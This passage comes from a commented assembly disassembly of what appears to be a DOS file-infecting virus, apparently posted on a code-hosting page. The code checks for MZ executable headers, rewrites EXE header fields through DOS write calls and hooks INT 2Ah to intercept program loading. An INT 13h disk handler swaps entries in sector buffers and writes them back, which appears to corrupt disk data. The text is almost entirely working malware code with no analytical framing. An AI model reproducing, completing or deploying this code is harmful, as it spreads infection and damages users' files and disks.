044E A3 013D mov data_10,ax ; (013D=0)
0451 B8 FFF0 mov ax,0FFF0h
0454 87 44 0C xchg ax,[si+0Ch]
0457 A3 013F mov data_11,ax ; (013F=0)
045A B8 0100 mov ax,100h
045D 87 44 0E xchg ax,[si+0Eh]
0460 A3 0141 mov data_12,ax ; (0141=0)
0463 BA 00D2 mov dx,0D2h
0466 B1 84 mov cl,84h
0468 B4 40 mov ah,40h ; '@'
046A CD 21 int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
046C C133 data_15 dw 0C133h
046E 75 26 jnz loc_45 ; Jump if not zero
0470 83 EF 04 sub di,4
0473 AB stosw ; Store ax to es:[di]
0474 AB stosw ; Store ax to es:[di]
0475 26: 8B 45 F8 mov ax,es:[di-8]
0479 26: 8B 55 FA mov dx,es:[di-6]
047D B9 0200 mov cx,200h
0480 F7 F1 div cx ; ax,dx rem=dx:ax/reg
0482 85 D2 test dx,dx
0484 74 01 jz loc_44 ; Jump if zero
0486 40 inc ax
0487 loc_44:
0487 89 14 mov [si],dx
0489 89 44 02 mov [si+2],ax
048C B9 0018 mov cx,18h
048F BA 06BA mov dx,6BAh
0492 B4 40 mov ah,40h ; '@'
0494 CD 21 int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
0496 loc_45:
0496 26: 80 65 EC BF and byte ptr es:[di-14h],0BFh
049B 26: 80 4D ED 40 or byte ptr es:[di-13h],40h ; '@'
04A0 E9 FEFA jmp loc_37
sub_1 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_2 proc near
04A3 B8 1220 mov ax,1220h
04A6 CD 2F int 2Fh ; Multiplex/Spooler al=func 20h
04A8 72 11 jc loc_ret_46 ; Jump if carry Set
04AA 53 push bx
04AB 26: 8A 1D mov bl,es:[di]
04AE B8 1216 mov ax,1216h
04B1 CD 2F int 2Fh ; Multiplex/Spooler al=func 16h
04B3 5B pop bx
04B4 72 05 jc loc_ret_46 ; Jump if carry Set
04B6 26: C6 45 02 02 mov byte ptr es:[di+2],2
04BB loc_ret_46:
04BB C3 retn
sub_2 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_3 proc near
04BC 3D 5A4D cmp ax,5A4Dh
04BF 74 03 je loc_ret_47 ; Jump if equal
04C1 3D 4D5A cmp ax,4D5Ah
04C4 loc_ret_47:
04C4 C3 retn
sub_3 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_4 proc near
04C5 B4 3F mov ah,3Fh ; '?'
;==== External Entry into Subroutine ======================================
sub_5:
04C7 B9 06A8 mov cx,6A8h
;==== External Entry into Subroutine ======================================
sub_6:
04CA BA 070A mov dx,70Ah
04CD CD 21 int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
04CF C3 retn
sub_4 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_7 proc near
04D0 8A C4 mov al,ah
;==== External Entry into Subroutine ======================================
sub_8:
04D2 D0 E8 shr al,1 ; Shift w/zeros fill
04D4 8A D0 mov dl,al
04D6 50 push ax
04D7 14 01 adc al,1
04D9 3C 03 cmp al,3
04DB 72 02 jb loc_48 ; Jump if below
04DD 2C 03 sub al,3
04DF loc_48:
04DF 0A D0 or dl,al
04E1 D7 xlat [bx] ; al=[al+[bx]] table
04E2 88 04 mov [si],al
04E4 46 inc si
04E5 58 pop ax
04E6 D7 xlat [bx] ; al=[al+[bx]] table
04E7 88 04 mov [si],al
04E9 46 inc si
04EA 8A C2 mov al,dl
04EC 34 03 xor al,3
04EE D7 xlat [bx] ; al=[al+[bx]] table
04EF C3 retn
sub_7 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_9 proc near
04F0 D1 EA shr dx,1 ; Shift w/zeros fill
04F2 B0 79 mov al,79h ; 'y'
04F4 73 02 jnc loc_ret_49 ; Jump if carry=0
04F6 0C 04 or al,4
04F8 loc_ret_49:
04F8 C3 retn
sub_9 endp
04F9 00 04 add [si],al
04FB 00 00 add [bx+si],al
04FD 04 00 add al,0
04FF 26: 00 2C add es:[si],ch
0502 00 09 add [bx+di],cl
0504 02 00 add al,[bx+si]
0506 00 02 add [bp+si],al
0508 00 0E 0400 add byte ptr ds:[400h],cl ; (0400=0BAh)
050C 04 02 add al,2
050E 00 00 add [bx+si],al
0510 03 00 add ax,[bx+si]
0512 0F db 0Fh
0513 00 05 add [di],al
0515 05 0003 add ax,3
0518 00 00 add [bx+si],al
051A 04 00 add al,0
051C 01 00 add [bx+si],ax
051E 01 02 add [bp+si],ax
0520 03 06 0707 add ax,word ptr ds:[707h] ; (0707=0)
0524 04 05 add al,5
;==========================================================================
; SUBROUTINE
; INT 2A
;==========================================================================
0526 56 push si
0527 57 push di
0528 55 push bp
0529 1E push ds
052A 06 push es
052B 8B EC mov bp,sp
052D 80 FC 82 cmp ah,82h
0530 75 60 jne loc_53 ; Jump if not equal
0532 8C D8 mov ax,ds
0534 3B 46 0C cmp ax,[bp+0Ch]
0537 75 59 jne loc_53 ; Jump if not equal
0539 8B 76 0A mov si,[bp+0Ah]
053C AC lodsb ; String [si] to al
053D 3C CC cmp al,0CCh
053F 74 51 je loc_53 ; Jump if equal
0541 B8 1218 mov ax,1218h
0544 CD 2F int 2Fh ; Multiplex/Spooler al=func 18h
0546 C4 7C 12 les di,dword ptr [si+12h] ; Load 32 bit ptr
0549 26: 80 3D CC cmp byte ptr es:[di],0CCh
054D 74 43 je loc_53 ; Jump if equal
054F 8C C8 mov ax,cs
0551 3B 44 14 cmp ax,[si+14h]
0554 74 3C je loc_53 ; Jump if equal
0556 AD lodsw ; String [si] to ax
0557 80 EC 3D sub ah,3Dh ; '='
055A 74 1C jz loc_51 ; Jump if zero
055C FE CC dec ah
055E 74 16 jz loc_50 ; Jump if zero
0560 2D 0D00 sub ax,0D00h
0563 75 2D jnz loc_53 ; Jump if not zero
0565 26: 81 7D FE 21CD cmp word ptr es:[di-2],21CDh
056B 75 25 jne loc_53 ; Jump if not equal
056D 40 inc ax
056E 2E: 30 06 00C5 xor byte ptr cs:[0C5h],al ; (00C5=1)
0573 75 1D jnz loc_53 ; Jump if not zero
0575 F9 stc ; Set carry flag
0576 loc_50:
0576 B3 30 mov bl,30h ; '0'
0578 loc_51:
0578 0E push cs
0579 07 pop es
057A BF 03BE mov di,3BEh
057D B8 0156 mov ax,156h
0580 87 44 10 xchg ax,[si+10h]
0583 73 02 jnc loc_52 ; Jump if carry=0
0585 48 dec ax
0586 48 dec ax
0587 loc_52:
0587 AB stosw ; Store ax to es:[di]
0588 8C C8 mov ax,cs
058A 87 44 12 xchg ax,[si+12h]
058D AB stosw ; Store ax to es:[di]
058E 80 64 14 FE and byte ptr [si+14h],0FEh
0592 loc_53:
0592 07 pop es
0593 1F pop ds
0594 5D pop bp
0595 5F pop di
0596 5E pop si
;==========================================================================
; SUBROUTINE
; INT 2A
;==========================================================================
0597 B0 03 mov al,3
0599 CF iret ; Interrupt return
059A 2E: 80 3E 06B3 00 cmp byte ptr cs:[6B3h],0 ; (06B3=0)
05A0 74 12 je loc_55 ; Jump if equal
05A2 41 inc cx
05A3 75 0E jnz loc_54 ; Jump if not zero
05A5 32 E4 xor ah,ah ; Zero register
05A7 2E: 86 26 06B3 xchg ah,byte ptr cs:[6B3h] ; (06B3=0)
05AC F5 cmc ; Complement carry
05AD 2E: 8B 0E 06B8 mov cx,word ptr cs:[6B8h] ; (06B8=6)
05B2 41 inc cx
05B3 loc_54:
05B3 49 dec cx
05B4 loc_55:
05B4 9C pushf ; Push flags
05B5 50 push ax
05B6 9C pushf ; Push flags
05B7 0E push cs
05B8 E8 00EF call $+0F2h
05BB 73 07 jnc loc_56 ; Jump if carry=0
05BD 83 C4 04 add sp,4
05C0 F9 stc ; Set carry flag
05C1 E9 00C8 jmp loc_70
05C4 loc_56:
05C4 58 pop ax
05C5 80 EC 02 sub ah,2
05C8 80 FC 02 cmp ah,2
05CB 73 79 jae loc_65 ; Jump if above or =
05CD 53 push bx
05CE 51 push cx
05CF 56 push si
05D0 1E push ds
05D1 loc_57:
05D1 50 push ax
05D2 53 push bx
05D3 51 push cx
05D4 52 push dx
05D5 33 D2 xor dx,dx ; Zero register
05D7 8E DA mov ds,dx
05D9 B9 0100 mov cx,100h
05DC 8B F3 mov si,bx
05DE 56 push si
05DF locloop_58:
05DF 26: AD lods word ptr es:[si] ; String [si] to ax
05E1 48 dec ax
05E2 3D FFF5 cmp ax,0FFF5h
05E5 73 09 jae loc_60 ; Jump if above or =
05E7 3B C3 cmp ax,bx
05E9 75 02 jne loc_59 ; Jump if not equal
05EB FE C6 inc dh
05ED loc_59:
05ED 93 xchg ax,bx
05EE 42 inc dx
05EF 43 inc bx
05F0 loc_60:
05F0 E2 ED loop locloop_58 ; Loop if cx > 0
05F2 5E pop si
05F3 D0 EA shr dl,1 ; Shift w/zeros fill
05F5 F8 clc ; Clear carry flag
05F6 74 36 jz loc_62 ; Jump if zero
05F8 3A D6 cmp dl,dh
05FA 73 32 jae loc_62 ; Jump if above or =
05FC 0E push cs
05FD 1F pop ds
05FE F8 clc ; Clear carry flag
05FF BB 06B4 mov bx,6B4h
0602 FF 07 inc word ptr [bx]
0604 75 28 jnz loc_62 ; Jump if not zero
0606 FF 47 9C inc word ptr [bx-64h]
0609 8A 47 FD mov al,[bx-3]
060C 04 F8 add al,0F8h
060E 73 02 jnc loc_61 ; Jump if carry=0
0610 B0 FF mov al,0FFh
0612 loc_61:
0612 88 47 01 mov [bx+1],al
0615 A1 046C mov ax,data_15 ; (046C=0C133h)
0618 33 DB xor bx,bx ; Zero register
061A 86 DC xchg bl,ah
061C 03 DB add bx,bx
061E 03 DE add bx,si
0620 03 C0 add ax,ax
0622 03 F0 add si,ax
0624 26: 8B 07 mov ax,es:[bx]
0627 26: 87 04 xchg ax,es:[si]
062A 26: 89 07 mov es:[bx],ax
062D F9 stc ; Set carry flag
062E loc_62:
062E 5A pop dx
062F 59 pop cx
0630 5B pop bx
0631 73 08 jnc loc_63 ; Jump if carry=0
0633 B8 0301 mov ax,301h
0636 9C pushf ; Push flags
0637 0E push cs
0638 E8 006F call $+72h
063B loc_63:
063B 58 pop ax
063C 72 04 jc loc_64 ; Jump if carry Set
063E FE C8 dec al
0640 75 8F jnz loc_57 ; Jump if not zero
0642 loc_64:
0642 1F pop ds
0643 5E pop si
0644 59 pop cx
0645 5B pop bx
0646 loc_65:
0646 58 pop ax
0647 D1 E8 shr ax,1 ; Shift w/zeros fill
0649 73 3F jnc loc_69 ; Jump if carry=0
064B B8 0100 mov ax,100h
064E EB 3C jmp short loc_70
0650 00 00 add [bx+si],al
0652 loc_66:
0652 2E: FF 36 06AF push word ptr cs:[6AFh] ; (06AF=0F086h)
0657 9D popf ; Pop flags
0658 74 50 jz $+52h ; Jump if zero
065A 2E: 88 26 06B3 mov byte ptr cs:[6B3h],ah ; (06B3=0)
065F 2E: 89 0E 06B8 mov word ptr cs:[6B8h],cx ; (06B8=6)
0664 2E: 3A 26 06B6 cmp ah,byte ptr cs:[6B6h] ; (06B6=3)
0669 75 03 jne loc_67 ; Jump if not equal
066B 80 F4 01 xor ah,1
066E loc_67:
066E 51 push cx
066F B9 FFFF mov cx,0FFFFh
0672 9C pushf ; Push flags
0673 0E push cs
0674 E8 002E call sub_10
0677 59 pop cx
0678 9C pushf ; Push flags
0679 2E: 80 3E 06B3 00 cmp byte ptr cs:[6B3h],0 ; (06B3=0)
067F loc_68:
067F 75 FE jne loc_68 ; Jump if not equal
0681 9D popf ; Pop flags
0682 73 08 jnc loc_70 ; Jump if carry=0
0684 80 FC 01 cmp ah,1
0687 F9 stc ; Set carry flag
0688 75 02 jnz loc_70 ; Jump if not zero
068A loc_69:
068A 33 C0 xor ax,ax ; Zero register
068C loc_70:
068C FB sti ; Enable interrupts
068D CA 0002 retf 2 ; Return far
;==========================================================================
; SUBROUTINE
; INT 13h
;==========================================================================
0690 2E: 3A 26 06B7 cmp ah,byte ptr cs:[6B7h] ; (06B7=4)
0695 74 F3 je loc_69 ; Jump if equal
0697 84 E4 test ah,ah
0699 74 EF jz loc_69 ; Jump if zero
069B 80 FC 01 cmp ah,1
069E 74 05 je loc_71 ; Jump if equal
06A0 80 FC 05 cmp ah,5
06A3 72 AD jb loc_66 ; Jump if below
sub_10 proc near
06A5 loc_71:
06A5 EA 0070:1001 jmp far ptr loc_1 ; ORG INT 13
sub_10 endp

Reference in New Issue Copy Permalink